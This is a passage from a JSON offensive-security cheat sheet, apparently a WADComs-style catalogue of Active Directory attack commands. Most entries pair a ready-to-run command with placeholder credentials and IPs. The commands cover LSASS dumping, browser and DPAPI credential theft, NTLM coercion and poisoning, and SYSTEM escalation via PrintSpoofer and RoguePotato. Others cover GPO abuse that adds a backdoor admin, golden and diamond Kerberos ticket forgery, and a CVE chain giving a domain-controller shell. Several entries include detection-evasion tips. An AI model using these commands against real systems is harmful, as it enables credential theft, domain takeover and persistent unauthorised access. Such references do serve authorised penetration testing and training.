     "command": "python3 printerbug.py test.local/john:password123@10.10.10.1 10.10.10.2",
     "description": "printerbug.py (shipped with dirkjanm's krbrelayx toolkit) abuses the MS-RPRN Print System Remote Protocol (the SpoolSample / PrinterBug technique) by calling RpcRemoteFindFirstPrinterChangeNotificationEx on the target's spooler service, forcing the target machine account to authenticate back to an attacker-controlled host over SMB or HTTP. The captured machine-account authentication is then relayed with ntlmrelayx or krbrelayx (e.g. for RBCD or ADCS abuse). The target is given as a domain/user:password@target connection string followed by the attacker host. Requires a valid domain account and a running Print Spooler on the target.\n\nCommand Reference:\n\n\tTarget IP: 10.10.10.1\n\n\tListener IP: 10.10.10.2\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "RPC",
       "NTLM"
     ],
     "references": [
       "https://github.com/dirkjanm/krbrelayx",
       "https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/ms-rprn"
     ],
     "added": true
   },
   {
     "id": "wadcoms:PrintSpoofer-SeImpersonate",
     "toolId": "wadcoms:PrintSpoofer",
     "toolName": "PrintSpoofer",
     "name": "PrintSpoofer-SeImpersonate",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Privilege Escalation",
       "Execution"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Exploitation"
     ],
     "command": "# Spawn an interactive SYSTEM shell in the current console\nPrintSpoofer64.exe -i -c cmd\n\n# Or run a single payload as SYSTEM (non-interactive)\nPrintSpoofer64.exe -c \"C:\\Windows\\System32\\cmd.exe /c whoami > C:\\output.txt\"",
     "description": "PrintSpoofer abuses SeImpersonatePrivilege held by service accounts (IIS AppPool, MSSQL, etc.) to escalate to SYSTEM. It coerces the local Print Spooler service to authenticate to an attacker-controlled named pipe (\\\\pipe\\\\spoolss) via MS-RPRN, captures the SYSTEM token with ImpersonateNamedPipeClient, and uses CreateProcessAsUser/WithTokenW to spawn a process. Use it when you land as a low-privileged service account whose token shows SeImpersonatePrivilege enabled; it works on Windows 10 / Server 2016-2019 where JuicyPotato's DCOM path was patched. Requires the Print Spooler service running and the SeImpersonate (or SeAssignPrimaryToken) privilege.\n\nCommand Reference:\n\n\tPrivilege required: SeImpersonatePrivilege",
     "mitre": [],
     "requires": [
       "Shell"
     ],
     "services": [
       "RPC"
     ],
     "references": [
       "https://github.com/itm4n/PrintSpoofer",
       "https://itm4n.github.io/printspoofer-abusing-impersonation-privileges/",
       "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Procdump-LSASS",
     "toolId": "wadcoms:Procdump",
     "toolName": "Procdump",
     "name": "Procdump-LSASS",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Credential Access"
     ],
     "nativeCategory": [
       "Credential Access"
     ],
     "command": "procdump.exe -accepteula -ma lsass.exe C:\\Windows\\Temp\\lsass.dmp",
     "description": "Procdump is a signed Microsoft Sysinternals utility, so it often survives application allowlisting and looks benign on disk while still producing a full LSASS memory dump. The -ma flag writes a complete dump (all memory) of lsass.exe and -accepteula suppresses the license prompt for non-interactive use. It needs administrator rights with SeDebugPrivilege; copy the .dmp off-host and extract credentials with pypykatz or Mimikatz sekurlsa::minidump.\n\nCommand Reference:\n\n\tOutput dump: C:\\Windows\\Temp\\lsass.dmp",
     "mitre": [
       "T1003.001"
     ],
     "requires": [
       "Shell"
     ],
     "services": [
       "NTLM",
       "Kerberos"
     ],
     "references": [
       "https://learn.microsoft.com/en-us/sysinternals/downloads/procdump",
       "https://book.hacktricks.xyz/windows-hardening/stealing-credentials",
       "https://attack.mitre.org/techniques/T1003/001/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:pyGPOAbuse-ScheduledTask",
     "toolId": "wadcoms:pyGPOAbuse",
     "toolName": "pyGPOAbuse",
     "name": "pyGPOAbuse-ScheduledTask",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Privilege Escalation",
       "Lateral Movement",
       "Execution"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Lateral Movement",
       "Exploitation"
     ],
     "command": "# With a password: add a local admin user via an immediate scheduled task\npython3 pygpoabuse.py test.local/john:password123 -gpo-id \"12345677-ABCD-9876-ABCD-123456789012\" \\\n  -dc-ip 10.10.10.1 \\\n  -taskname \"SecurityUpdate\" \\\n  -command 'net user backdoor P@ssw0rd /add && net localgroup Administrators backdoor /add'\n\n# Pass-the-hash variant\npython3 pygpoabuse.py test.local/john -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7 -gpo-id \"12345677-ABCD-9876-ABCD-123456789012\" -dc-ip 10.10.10.1",
     "description": "pyGPOAbuse is a partial Linux/Python implementation of SharpGPOAbuse that abuses write access to a GPO by adding an immediate scheduled task to its Machine (or User) preferences, executing an arbitrary command as SYSTEM on hosts in scope at the next policy refresh. You authenticate with a password or NT hash and target the GPO by its GUID (-gpo-id), which you can obtain from PowerView's Get-DomainGPO or ldapsearch. It is ideal when operating from a Linux box with no Windows tooling; use --cleanup afterwards to remove the planted task.\n\nCommand Reference:\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123\n\n\tNT hash: 2a3de7fe356ee524cc9f3d579f2e0aa7\n\n\tDC IP: 10.10.10.1",
     "mitre": [
       "T1484.001"
     ],
     "requires": [
       "Username",
       "Password",
       "Hash"
     ],
     "services": [
       "LDAP",
       "SMB"
     ],
     "references": [
       "https://github.com/Hackndo/pyGPOAbuse",
       "https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e",
       "https://attack.mitre.org/techniques/T1484/001/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Pypykatz-Minidump",
     "toolId": "wadcoms:Pypykatz",
     "toolName": "Pypykatz",
     "name": "Pypykatz-Minidump",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Credential Access"
     ],
     "nativeCategory": [
       "Credential Access"
     ],
     "command": "pypykatz lsa minidump lsass.dmp -o output.txt",
     "description": "Pypykatz is a pure-Python reimplementation of Mimikatz's sekurlsa module that parses an LSASS minidump entirely offline, so credentials can be extracted on the operator's Linux box without running Mimikatz on the target. Feed it any dump produced by nanodump, comsvcs.dll MiniDump, or procdump to recover NT hashes, Kerberos keys, and cached plaintexts. This keeps the noisy parsing off the victim host and out of reach of host EDR.\n\nCommand Reference:\n\n\tInput dump: lsass.dmp\n\n\tOutput file: output.txt",
     "mitre": [
       "T1003.001"
     ],
     "requires": [
       "Shell"
     ],
     "services": [
       "NTLM",
       "Kerberos"
     ],
     "references": [
       "https://github.com/skelsec/pypykatz",
       "https://book.hacktricks.xyz/windows-hardening/stealing-credentials",
       "https://attack.mitre.org/techniques/T1003/001/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Responder-Poisoning",
     "toolId": "wadcoms:Responder",
     "toolName": "Responder",
     "name": "Responder-Poisoning",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Credential Access",
       "Collection",
       "Execution"
     ],
     "nativeCategory": [
       "Credential Access",
       "Collection",
       "Exploitation"
     ],
     "command": "# Actively poison LLMNR/NBT-NS/mDNS and serve rogue WPAD to capture NetNTLM hashes\nsudo responder -I eth0 -wv",
     "description": "Responder is an LLMNR, NBT-NS, and mDNS poisoner. Run without the analyze flag, it actively answers name-resolution broadcasts (LLMNR, NBT-NS, mDNS) with the attacker's IP, causing victims to connect to Responder's rogue SMB/HTTP/etc. servers and disclose NTLMv1/NTLMv2 challenge-response hashes, which are captured to logs for offline cracking. The -w flag starts the rogue WPAD proxy to poison web-proxy autodiscovery, and -d answers DHCP requests. Captured hashes can be cracked with hashcat or, instead of cracking, forwarded live to ntlmrelayx.py (disable Responder's SMB and HTTP servers in Responder.conf when relaying). This is a noisy, active on-network attack.\n\nCommand Reference:\n\n\tInterface: eth0\n\n\tCaptured hashes log: hashes.txt",
     "mitre": [
       "T1557.001"
     ],
     "requires": [
       "No_Creds"
     ],
     "services": [
       "NTLM",
       "SMB"
     ],
     "references": [
       "https://github.com/lgandx/Responder",
       "https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/llmnr-nbtns-mdns-spoofing",
       "https://attack.mitre.org/techniques/T1557/001/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:RoguePotato-SeImpersonate",
     "toolId": "wadcoms:RoguePotato",
     "toolName": "RoguePotato",
     "name": "RoguePotato-SeImpersonate",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "Linux",
       "ActiveDirectory"
     ],
     "capability": [
       "Privilege Escalation",
       "Execution"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Exploitation"
     ],
     "command": "# On the attacker (Linux): redirect inbound 135 back to the RoguePotato listener on the target\nsocat tcp-listen:135,reuseaddr,fork tcp:10.10.10.1:9999\n\n# On the target (Windows): -r remote OXID resolver, -e command, -l listener port\nRoguePotato.exe -r 10.10.10.2 -e \"C:\\Windows\\System32\\cmd.exe /c whoami\" -l 9999",
     "description": "RoguePotato bypasses the JuicyPotato mitigation by redirecting the DCOM/RPC OXID resolution to a remote resolver the attacker controls on port 135, which forces a SYSTEM authentication that RoguePotato impersonates. Because outbound 135 to the internet is usually blocked and the target queries the resolver on 135, run a socat redirector on the attacker host that forwards 135 to the RoguePotato listener port (-l) on the target. Works on Windows 10 / Server 2016-2019. Requires SeImpersonatePrivilege.\n\nCommand Reference:\n\n\tAttacker/Listener IP: 10.10.10.2\n\n\tTarget IP: 10.10.10.1\n\n\tOXID resolver / listen port: 9999",
     "mitre": [],
     "requires": [
       "Shell"
     ],
     "services": [
       "DCOM",
       "RPC"
     ],
     "references": [
       "https://github.com/antonioCoco/RoguePotato",
       "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Rubeus-Describe",
     "toolId": "wadcoms:Rubeus",
     "toolName": "Rubeus",
     "name": "Rubeus-Describe",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Discovery"
     ],
     "nativeCategory": [
       "Discovery"
     ],
     "command": "# Parse and describe a ticket offline\nRubeus.exe describe /ticket:ticket.kirbi",
     "description": "Rubeus describe parses a ticket (TGT or service ticket) and prints its metadata: user, realm, service name, encryption type, flags, start/end/renew-till times and the session key. It does not touch the network, making it a safe way to inspect captured or forged tickets before use. Supplying a service/krbtgt key allows it to also decrypt and display the embedded PAC.\n\nCommand Reference:\n\n\tTicket file: ticket.kirbi",
     "mitre": [],
     "requires": [
       "TGT"
     ],
     "services": [
       "Kerberos"
     ],
     "references": [
       "https://github.com/GhostPack/Rubeus",
       "https://www.thehacker.recipes/ad/movement/kerberos/ptt"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Rubeus-DiamondTicket",
     "toolId": "wadcoms:Rubeus",
     "toolName": "Rubeus",
     "name": "Rubeus-DiamondTicket",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Persistence",
       "Defense Evasion",
       "Execution"
     ],
     "nativeCategory": [
       "Persistence",
       "Defense Evasion",
       "Exploitation"
     ],
     "command": "# Forge a diamond TGT: request a real TGT as 'john', then re-sign the PAC as administrator (RID 500).\n# /krbkey is the krbtgt AES256 key.\nRubeus.exe diamond /creduser:john /credpassword:password123 /krbkey:5db474e563f34e4bb62e04eecd4a6f92 /ticketuser:administrator /ticketuserid:500 /groups:512 /nowrap",
     "description": "Rubeus diamond forges a diamond ticket by requesting a real TGT for a valid account, decrypting it with the krbtgt key, modifying the embedded PAC (user, RID, groups, extra SIDs) and re-encrypting it. Unlike a golden ticket it is derived from a legitimate KDC-issued TGT, so its metadata is internally consistent and far harder to distinguish from genuine tickets. Requires valid credentials for the request plus the krbtgt AES/NT key to re-sign the PAC.\n\nCommand Reference:\n\n\tUsername: john\n\n\tPassword: password123\n\n\tAES256 krbtgt key: 5db474e563f34e4bb62e04eecd4a6f92\n\n\tDomain: test.local",
     "mitre": [],
     "requires": [
       "AES_Key",
       "Username",
       "Password"
     ],
     "services": [
       "Kerberos"
     ],
     "references": [
       "https://github.com/GhostPack/Rubeus",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/diamond-ticket",
       "https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets/diamond"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Rubeus-Dump",
     "toolId": "wadcoms:Rubeus",
     "toolName": "Rubeus",
     "name": "Rubeus-Dump",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Credential Access"
     ],
     "nativeCategory": [
       "Credential Access"
     ],
     "command": "# Dump all TGTs from LSA (elevated dumps every session)\nRubeus.exe dump /service:krbtgt /nowrap",
     "description": "Rubeus dump extracts Kerberos tickets from LSA memory. When elevated it dumps tickets for every logon session on the host; unelevated it returns only the current user's tickets. Filters let you target a specific service (e.g. krbtgt for TGTs) or LUID, and /nowrap keeps the base64 on a single line for easy copy-out and reuse via ptt.\n\nCommand Reference:\n\n\tService filter: krbtgt",
     "mitre": [
       "T1558"
     ],
     "requires": [
       "Shell"
     ],
     "services": [
       "Kerberos"
     ],
     "references": [
       "https://github.com/GhostPack/Rubeus",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/pass-the-ticket",
       "https://attack.mitre.org/techniques/T1558/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Rubeus-GoldenTicket-AES",
     "toolId": "wadcoms:Rubeus",
     "toolName": "Rubeus",
     "name": "Rubeus-GoldenTicket-AES",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Persistence",
       "Execution"
     ],
     "nativeCategory": [
       "Persistence",
       "Exploitation"
     ],
     "command": "# Forge an AES256 golden ticket for the built-in administrator (RID 500)\nRubeus.exe golden /aes256:5db474e563f34e4bb62e04eecd4a6f92 /user:administrator /id:500 /domain:test.local /sid:S-1-5-21-1339291983-1349129144-367733775 /nowrap",
     "description": "Rubeus golden forges a TGT signed with the domain krbtgt key, granting arbitrary identity and group membership across the domain until the krbtgt password is rotated twice. Supplying the krbtgt AES256 key with /aes256 produces an AES-encrypted ticket, avoiding the RC4 golden tickets that modern detections flag. Requires the krbtgt key, the domain SID, and typically privileged access to have obtained the key via DCSync.\n\nCommand Reference:\n\n\tAES256 key: 5db474e563f34e4bb62e04eecd4a6f92\n\n\tUsername: administrator\n\n\tDomain: test.local\n\n\tDomain SID: S-1-5-21-1339291983-1349129144-367733775",
     "mitre": [
       "T1558.001"
     ],
     "requires": [
       "AES_Key"
     ],
     "services": [
       "Kerberos"
     ],
     "references": [
       "https://github.com/GhostPack/Rubeus",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket",
       "https://attack.mitre.org/techniques/T1558/001/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Rubeus-Harvest",
     "toolId": "wadcoms:Rubeus",
     "toolName": "Rubeus",
     "name": "Rubeus-Harvest",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Credential Access",
       "Collection",
       "Persistence"
     ],
     "nativeCategory": [
       "Credential Access",
       "Collection",
       "Persistence"
     ],
     "command": "# Harvest TGTs every 30s and auto-renew them up to their renew-till limit\nRubeus.exe harvest /interval:30 /nowrap",
     "description": "Rubeus harvest monitors for new TGTs and automatically renews them before they expire, keeping a working cache of live tickets that can be extracted and reused. It combines the monitor behavior with auto-renewal, which is valuable during long engagements to avoid losing captured tickets to the default 10-hour lifetime. Elevation is required to harvest tickets for all logon sessions.\n\nCommand Reference:\n\n\tMonitor interval: 30 seconds",
     "mitre": [
       "T1558"
     ],
     "requires": [
       "Shell"
     ],
     "services": [
       "Kerberos"
     ],
     "references": [
       "https://github.com/GhostPack/Rubeus",
       "https://www.thehacker.recipes/ad/movement/kerberos/ptt",
       "https://attack.mitre.org/techniques/T1558/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Rubeus-Monitor",
     "toolId": "wadcoms:Rubeus",
     "toolName": "Rubeus",
     "name": "Rubeus-Monitor",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Credential Access",
       "Collection"
     ],
     "nativeCategory": [
       "Credential Access",
       "Collection"
     ],
     "command": "# Poll every 5 seconds for newly captured TGTs, filtered to one user\nRubeus.exe monitor /interval:5 /filteruser:john /nowrap",
     "description": "Rubeus monitor continuously watches for new Kerberos TGTs as users authenticate to the host, printing any captured tickets on a fixed interval. It is most useful on servers where privileged accounts or delegation targets log on, letting an operator harvest fresh TGTs for pass-the-ticket. Requires an elevated context to see tickets for other logon sessions.\n\nCommand Reference:\n\n\tUsername: john",
     "mitre": [
       "T1558"
     ],
     "requires": [
       "Shell"
     ],
     "services": [
       "Kerberos"
     ],
     "references": [
       "https://github.com/GhostPack/Rubeus",
       "https://www.thehacker.recipes/ad/movement/kerberos/ptt",
       "https://attack.mitre.org/techniques/T1558/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Rubeus-OverPassTheHash",
     "toolId": "wadcoms:Rubeus",
     "toolName": "Rubeus",
     "name": "Rubeus-OverPassTheHash",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Lateral Movement",
       "Credential Access"
     ],
     "nativeCategory": [
       "Lateral Movement",
       "Credential Access"
     ],
     "command": "# Over-pass-the-hash: turn an AES256 key into a live TGT and inject it\nRubeus.exe asktgt /user:john /aes256:5db474e563f34e4bb62e04eecd4a6f92 /domain:test.local /dc:dc.test.local /ptt /nowrap",
     "description": "Over-pass-the-hash (pass-the-key) uses a captured AES or NT key to request a legitimate TGT for that user directly from the KDC, converting a stolen key into full Kerberos access without ever knowing the plaintext password. Using the AES256 key with /aes256 avoids the RC4 (etype 23) downgrade that mature environments alert on, making it more OPSEC-safe than /rc4. The /ptt flag injects the resulting TGT for immediate lateral movement.\n\nCommand Reference:\n\n\tUsername: john\n\n\tAES256 key: 5db474e563f34e4bb62e04eecd4a6f92\n\n\tDomain: test.local\n\n\tDomain Controller host: dc.test.local",
     "mitre": [],
     "requires": [
       "AES_Key",
       "Username"
     ],
     "services": [
       "Kerberos"
     ],
     "references": [
       "https://github.com/GhostPack/Rubeus",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key",
       "https://www.thehacker.recipes/ad/movement/kerberos/ptt"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Rubeus-Ptt",
     "toolId": "wadcoms:Rubeus",
     "toolName": "Rubeus",
     "name": "Rubeus-Ptt",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Lateral Movement",
       "Defense Evasion"
     ],
     "nativeCategory": [
       "Lateral Movement",
       "Defense Evasion"
     ],
     "command": "# Inject a .kirbi ticket into the current session\nRubeus.exe ptt /ticket:ticket.kirbi\n\n# Or target a specific logon session by LUID (requires elevation)\nRubeus.exe ptt /ticket:ticket.kirbi /luid:0x3e7",
     "description": "Rubeus ptt performs a pass-the-ticket by submitting a base64 or .kirbi ticket into the current logon session (or a target LUID when elevated). Once injected the ticket is used transparently by Windows for Kerberos authentication to remote services such as SMB, LDAP or WinRM. Use it after obtaining a TGT/TGS via tgtdeleg, dump, monitor, kerberoast/s4u, or Impacket ticketConverter output.\n\nCommand Reference:\n\n\tTicket file: ticket.kirbi",
     "mitre": [],
     "requires": [
       "TGT"
     ],
     "services": [
       "Kerberos",
       "SMB",
       "LDAP"
     ],
     "references": [
       "https://github.com/GhostPack/Rubeus",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/pass-the-ticket",
       "https://www.thehacker.recipes/ad/movement/kerberos/ptt"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Rubeus-Renew",
     "toolId": "wadcoms:Rubeus",
     "toolName": "Rubeus",
     "name": "Rubeus-Renew",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Persistence",
       "Credential Access"
     ],
     "nativeCategory": [
       "Persistence",
       "Credential Access"
     ],
     "command": "# Renew a TGT from a .kirbi file and inject it, auto-renewing to the renew-till limit\nRubeus.exe renew /ticket:ticket.kirbi /dc:dc.test.local /autorenew /ptt /nowrap",
     "description": "Rubeus renew submits a renewal request for an existing TGT to the KDC, returning a fresh ticket with an extended validity window. It accepts either a base64 blob or a .kirbi file and can auto-renew repeatedly up to the ticket's renew-till limit, which helps maintain access without re-authenticating. Combine with /ptt to inject the renewed ticket into the current session.\n\nCommand Reference:\n\n\tDomain Controller host: dc.test.local",
     "mitre": [],
     "requires": [
       "TGT"
     ],
     "services": [
       "Kerberos"
     ],
     "references": [
       "https://github.com/GhostPack/Rubeus",
       "https://www.thehacker.recipes/ad/movement/kerberos/ptt",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/pass-the-ticket"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Rubeus-TgtDeleg",
     "toolId": "wadcoms:Rubeus",
     "toolName": "Rubeus",
     "name": "Rubeus-TgtDeleg",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Credential Access"
     ],
     "nativeCategory": [
       "Credential Access"
     ],
     "command": "# Extract a usable TGT (.kirbi + session key) for the current user, no elevation needed\nRubeus.exe tgtdeleg /nowrap",
     "description": "Rubeus tgtdeleg abuses the Kerberos GSS-API delegation mechanism to obtain a usable TGT (including its session key) for the current user context without requiring local administrator rights. It requests a service ticket for a target SPN with the delegation flag set, then extracts the forwarded TGT that the KDC embeds, yielding a .kirbi that can be passed to another host. Use it for pass-the-ticket from an unprivileged foothold when you cannot dump LSASS.\n\nCommand Reference:\n\n\tDomain Controller host: dc.test.local",
     "mitre": [],
     "requires": [
       "Shell"
     ],
     "services": [
       "Kerberos"
     ],
     "references": [
       "https://github.com/GhostPack/Rubeus",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/unconstrained-delegation",
       "https://www.thehacker.recipes/ad/movement/kerberos/ptt"
     ],
     "added": true
   },
   {
     "id": "wadcoms:sam-the-admin",
     "toolId": "wadcoms:sam",
     "toolName": "sam",
     "name": "sam_the_admin (sAMAccountName Spoofing)",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Privilege Escalation",
       "Execution",
       "Credential Access"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Exploitation",
       "Credential Access"
     ],
     "command": "# SYSTEM shell on the DC\npython3 sam_the_admin.py \"test.local/john:password123\" -dc-ip 10.10.10.1 -shell\n\n# Dump domain hashes\npython3 sam_the_admin.py \"test.local/john:password123\" -dc-ip 10.10.10.1 -dump",
     "description": "WazeHell's sam_the_admin.py is a self-contained implementation of the CVE-2021-42278 + CVE-2021-42287 chain. It creates a computer account, spoofs its sAMAccountName to impersonate the DC machine account, and automatically impersonates the Administrator to obtain a privileged ticket. Requires MachineAccountQuota > 0 and an unpatched DC. Pass -shell for a semi-interactive SYSTEM shell on the DC or -dump to run secretsdump; the account only needs valid domain credentials (no special privileges).\n\nCommand Reference:\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123\n\n\tDC IP: 10.10.10.1",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "Kerberos",
       "SMB",
       "LDAP"
     ],
     "references": [
       "https://github.com/WazeHell/sam-the-admin",
       "https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing"
     ],
     "added": true
   },
   {
     "id": "wadcoms:ShadowCoerce",
     "toolId": "wadcoms:ShadowCoerce",
     "toolName": "ShadowCoerce",
     "name": "ShadowCoerce",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Execution"
     ],
     "nativeCategory": [
       "Exploitation"
     ],
     "command": "python3 shadowcoerce.py -d test.local -u john -p password123 10.10.10.2 10.10.10.1",
     "description": "ShadowCoerce abuses the MS-FSRVP (File Server Remote VSS Protocol) RPC interface to coerce a target host into authenticating to an attacker-controlled listener. MS-FSRVP is exposed when the File Server VSS Agent Service feature is installed, so the vector is more situational than PrinterBug or PetitPotam, but it remained exploitable after some EFSRPC patches. The listener is supplied first and the target second, matching the PetitPotam-style argument order. Provide a valid domain account or NT hash.\n\nCommand Reference:\n\n\tTarget IP: 10.10.10.1\n\n\tListener IP: 10.10.10.2\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "RPC",
       "NTLM"
     ],
     "references": [
       "https://github.com/ShutdownRepo/ShadowCoerce",
       "https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/ms-fsrvp"
     ],
     "added": true
   },
   {
     "id": "wadcoms:SharpChrome-Logins",
     "toolId": "wadcoms:SharpChrome",
     "toolName": "SharpChrome",
     "name": "SharpChrome-Logins",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Credential Access",
       "Collection"
     ],
     "nativeCategory": [
       "Credential Access",
       "Collection"
     ],
     "command": "SharpChrome.exe logins /unprotect",
     "description": "SharpChrome (part of the SharpDPAPI project) extracts Chromium-based browser secrets - saved logins, cookies, and credit cards - by resolving the browser's DPAPI-protected AES state key and decrypting the login database. The logins command with /unprotect uses the current user's DPAPI keys directly to reveal stored passwords in plaintext. Run it in the target user's session (or supply /pvk: with the domain backup key); it also supports /browser:edge and cookies output for session hijacking.\n\nCommand Reference:\n\n\tTarget browser: Chrome (current user profile)",
     "mitre": [
       "T1555.003"
     ],
     "requires": [
       "Shell"
     ],
     "services": [
       "NTLM"
     ],
     "references": [
       "https://github.com/GhostPack/SharpDPAPI",
       "https://book.hacktricks.xyz/windows-hardening/stealing-credentials",
       "https://attack.mitre.org/techniques/T1555/003/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:SharpDPAPI-Masterkeys-Credentials",
     "toolId": "wadcoms:SharpDPAPI",
     "toolName": "SharpDPAPI",
     "name": "SharpDPAPI-Masterkeys-Credentials",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Credential Access"
     ],
     "nativeCategory": [
       "Credential Access"
     ],
     "command": "# Decrypt the user's DPAPI masterkeys\nSharpDPAPI.exe masterkeys /password:password123\n\n# Decrypt Credential Manager blobs with the recovered masterkeys\nSharpDPAPI.exe credentials /mkfile:masterkeys.txt",
     "description": "SharpDPAPI is a C# port of Mimikatz's DPAPI functionality for triaging Windows Data Protection API secrets. The masterkeys command decrypts the current user's DPAPI master keys (with /password: for their plaintext, or /pvk: with the domain backup key), writing a {GUID}:SHA1 lookup file. The credentials command then uses that /mkfile: to decrypt the user's Credential Manager blobs to plaintext. Run it from the user's own context or an elevated shell; it avoids dropping Mimikatz on disk.\n\nCommand Reference:\n\n\tPassword: password123\n\n\tMasterkey file: masterkeys.txt",
     "mitre": [
       "T1555.004"
     ],
     "requires": [
       "Shell",
       "Password"
     ],
     "services": [
       "NTLM"
     ],
     "references": [
       "https://github.com/GhostPack/SharpDPAPI",
       "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords",
       "https://attack.mitre.org/techniques/T1555/004/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:SharpGPOAbuse-AddLocalAdmin",
     "toolId": "wadcoms:SharpGPOAbuse",
     "toolName": "SharpGPOAbuse",
     "name": "SharpGPOAbuse-AddLocalAdmin",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Privilege Escalation",
       "Lateral Movement",
       "Persistence"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Lateral Movement",
       "Persistence"
     ],
     "command": "SharpGPOAbuse.exe --AddLocalAdmin --UserAccount john --GPOName \"Vulnerable GPO\"",
     "description": "SharpGPOAbuse abuses edit rights over a Group Policy Object to push malicious settings to every computer/user in the GPO's scope. --AddLocalAdmin injects a Restricted Groups / GptTmpl.inf entry that adds the specified account to the local Administrators group on all machines the GPO applies to. You must already have write access to the target GPO (found via PowerView's Get-DomainGPO ACLs); changes take effect at the next Group Policy refresh, so consider forcing gpupdate on target hosts.\n\nCommand Reference:\n\n\tUsername: john\n\n\tTarget GPO: Vulnerable GPO",
     "mitre": [
       "T1484.001"
     ],
     "requires": [
       "Shell"
     ],
     "services": [
       "LDAP"
     ],
     "references": [
       "https://github.com/FSecureLABS/SharpGPOAbuse",
       "https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e",
       "https://attack.mitre.org/techniques/T1484/001/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:SharpGPOAbuse-AddUserRights",
     "toolId": "wadcoms:SharpGPOAbuse",
     "toolName": "SharpGPOAbuse",
     "name": "SharpGPOAbuse-AddUserRights",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Privilege Escalation",
       "Persistence"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Persistence"
     ],
     "command": "SharpGPOAbuse.exe --AddUserRights --UserRights \"SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight\" --UserAccount john --GPOName \"Vulnerable GPO\"",
